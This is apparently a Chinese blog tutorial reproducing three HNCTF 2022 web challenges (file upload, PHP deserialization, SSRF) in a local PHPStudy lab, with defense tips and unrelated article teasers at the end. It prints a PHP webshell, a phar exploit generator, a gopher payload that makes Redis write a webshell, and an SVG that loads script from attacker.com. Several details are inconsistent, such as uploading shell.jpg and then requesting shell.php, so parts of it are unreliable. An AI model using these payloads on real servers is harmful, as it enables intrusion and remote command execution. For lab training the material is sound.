news 2026/6/11 18:43:54

PHPStudy环境下,手把手复现HNCTF 2022的3个典型Web漏洞(文件上传+反序列化+SSRF)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
PHPStudy环境下,手把手复现HNCTF 2022的3个典型Web漏洞(文件上传+反序列化+SSRF)

PHPStudy环境下实战复现HNCTF 2022三大Web漏洞

在网络安全攻防演练中,漏洞复现是提升实战能力的关键环节。本文将基于Windows平台下的PHPStudy环境,深度还原HNCTF 2022比赛中easy_upload(文件上传)、easy_unser(反序列化)和ez_ssrf(SSRF)三道典型Web题目的漏洞场景。通过环境搭建、漏洞分析、Exploit编写到最终利用的完整闭环,帮助中级安全研究者建立系统的漏洞复现方法论。

1. 环境准备与靶场搭建

1.1 PHPStudy基础配置

首先下载最新版PHPStudy(v8.1或更高版本),安装时勾选以下组件:

  • Apache 2.4.39
  • PHP 7.3.4(需与题目原始环境版本匹配)
  • MySQL 5.7.26

安装完成后,在php.ini中需要特别开启的关键配置:

allow_url_include = On allow_url_fopen = On display_errors = On short_open_tag = On

1.2 题目环境部署

为每个漏洞创建独立的虚拟主机:

  1. vhosts.conf中添加三个站点配置:
<VirtualHost *:80> DocumentRoot "C:/phpstudy_pro/WWW/easy_upload" ServerName upload.test </VirtualHost> <VirtualHost *:80> DocumentRoot "C:/phpstudy_pro/WWW/easy_unser" ServerName unser.test </VirtualHost> <VirtualHost *:80> DocumentRoot "C:/phpstudy_pro/WWW/ez_ssrf" ServerName ssrf.test </VirtualHost>
  1. 修改本地hosts文件添加域名解析:
127.0.0.1 upload.test unser.test ssrf.test

2. easy_upload文件上传漏洞实战

2.1 漏洞代码分析

upload.test站点部署以下模拟代码:

<?php if(isset($_FILES['file'])){ $tmp_name = $_FILES['file']['tmp_name']; $name = $_FILES['file']['name']; if(move_uploaded_file($tmp_name, "uploads/".$name)){ echo "Upload success! Path: uploads/$name"; } } ?> <form method="post" enctype="multipart/form-data"> <input type="file" name="file"> <button>Upload</button> </form>

关键缺陷

  • 未校验文件类型和内容
  • 未重命名上传文件
  • 未禁用脚本执行权限

2.2 漏洞利用五步法

  1. 制作PHP webshell:
<?php system($_GET['cmd']); ?>
  1. 使用Burp修改文件类型:
Content-Disposition: form-data; name="file"; filename="shell.jpg" Content-Type: image/jpeg
  1. 上传后访问webshell执行命令:
http://upload.test/uploads/shell.php?cmd=whoami
  1. 获取flag路径:
find / -name "*flag*" 2>/dev/null
  1. 使用蚁剑连接管理:
  • 连接URL:http://upload.test/uploads/shell.php
  • 密码:cmd

实际防御中应配置.htaccess禁止脚本执行:
AddHandler cgi-script .php .pl .py .jsp .asp .htm .shtml .sh .cgi

3. easy_unser反序列化漏洞复现

3.1 漏洞环境构建

部署以下反序列化入口代码:

<?php class VulnerableClass { private $cmd = "id"; function __destruct() { system($this->cmd); } } if(isset($_GET['data'])){ unserialize($_GET['data']); } ?>

3.2 Phar反序列化利用

  1. 构造恶意序列化数据生成器:
<?php class Exploit { public $cmd = "cat /flag"; } $phar = new Phar("exploit.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $phar->setMetadata(new Exploit()); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?>
  1. 上传phar文件后触发:
http://unser.test/vuln.php?data=phar://uploads/exploit.phar

绕过技巧

  • 使用preg_replace修改序列化属性数量:
$payload = str_replace(':2:', ':3:', serialize($obj));
  • 利用php://filter链式编码:
php://filter/convert.base64-encode/resource=phar://./exploit.phar

4. ez_ssrf服务器端请求伪造

4.1 模拟内网环境搭建

  1. ssrf.test创建内网服务模拟:
<?php // flag.php (内网服务) if($_SERVER['REMOTE_ADDR'] === '127.0.0.1'){ die("FLAG{THIS_IS_SSRF_FLAG}"); } ?>
  1. 部署存在SSRF的接口:
<?php // ssrf.php if(isset($_GET['url'])){ echo file_get_contents($_GET['url']); } ?>

4.2 多协议利用方案

HTTP协议利用

http://ssrf.test/ssrf.php?url=http://127.0.0.1/flag.php

Gopher协议高级利用

  1. 构造攻击内网Redis的payload:
import urllib.parse payload = """ SET injected_key "<?php system($_GET['cmd']);?>" CONFIG SET dir /var/www/html CONFIG SET dbfilename shell.php SAVE """ print(urllib.parse.quote(payload.replace("\n","\r\n")))
  1. 发送SSRF请求:
gopher://127.0.0.1:6379/_[编码后的payload]

防御方案对比表

方案类型实现方式优缺点
域名白名单parse_url()校验host无法防御DNS重绑定
IP黑名单过滤内网IP段可能被进制转换绕过
协议限制只允许HTTP/HTTPS无法防御302跳转
请求限制禁用CURLOPT_FOLLOWLOCATION影响正常业务

5. 联合利用与防御加固

5.1 漏洞组合利用案例

  1. 通过SSRF访问本地Phar文件触发反序列化:
http://ssrf.test/ssrf.php?url=phar:///path/to/exploit.phar
  1. 上传包含SSRF payload的SVG文件:
<svg xmlns="http://www.w3.org/2000/svg"> <script xlink:href="http://attacker.com/ssrf.js"/> </svg>

5.2 企业级防御方案

PHPStudy安全配置清单

  1. 修改Apache默认配置:
<Directory "C:/phpstudy_pro/WWW"> Options -Indexes -ExecCGI php_flag engine off </Directory>
  1. 安装开源WAF:
git clone https://github.com/SpiderLabs/ModSecurity cp modsecurity.conf-recommended /path/to/modsecurity.conf

在漏洞复现过程中,建议使用VirtualBox快照功能保存不同阶段的实验环境状态。遇到问题时,可参考PHP错误日志路径:C:/phpstudy_pro/Extensions/php_logs/php_error.log

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/11 18:37:54

从一根钢筋的拉伸试验到FEA仿真:在Abaqus中正确设置材料塑性(含应变硬化)参数指南

从实验数据到仿真模型&#xff1a;Abaqus材料塑性参数设置实战指南金属材料的塑性行为仿真是工程分析中的关键难点之一。当我们手头有一组实验室获得的应力-应变曲线数据时&#xff0c;如何准确地将这些物理实验结果转化为Abaqus能够理解的输入参数&#xff1f;这不仅关系到仿真…

作者头像 李华
网站建设 2026/6/11 18:37:53

中缀表达式与后缀表达式

为了方便计算机对多位运算符与操作数进行运算&#xff0c;计算机会将中缀表达式调整为后缀表达式后进行计算 中缀表达式转后缀表达式计算规则 当前数字时&#xff0c;直接输出当前运算符时 栈为空&#xff0c;直接入栈左括号&#xff0c;直接入栈栈顶为左括号&#xff0c;直接入…

作者头像 李华
网站建设 2026/6/11 18:35:52

嵌入式硬件设计基石:深度解析MCU数据手册的电气与时序参数

1. 项目概述&#xff1a;从数据手册到设计实战在嵌入式硬件开发这条路上摸爬滚打了十几年&#xff0c;我越来越深刻地体会到&#xff0c;一个项目的成败&#xff0c;往往在选型和设计初期就已经埋下了伏笔。很多工程师&#xff0c;尤其是刚入行的朋友&#xff0c;拿到一颗新的微…

作者头像 李华
网站建设 2026/6/11 18:35:51

用Python+Mediapipe+OpenCV,5分钟搞定一个手势控制鼠标的桌面小工具

手势革命&#xff1a;用PythonMediapipe打造零接触鼠标控制系统 想象一下&#xff0c;当你满手油污地烹饪时想切换菜谱页面&#xff0c;或是躺在沙发上想远程控制电脑播放影片——传统鼠标突然显得如此笨拙。现在&#xff0c;只需5行核心代码&#xff0c;我们就能让摄像头读懂手…

作者头像 李华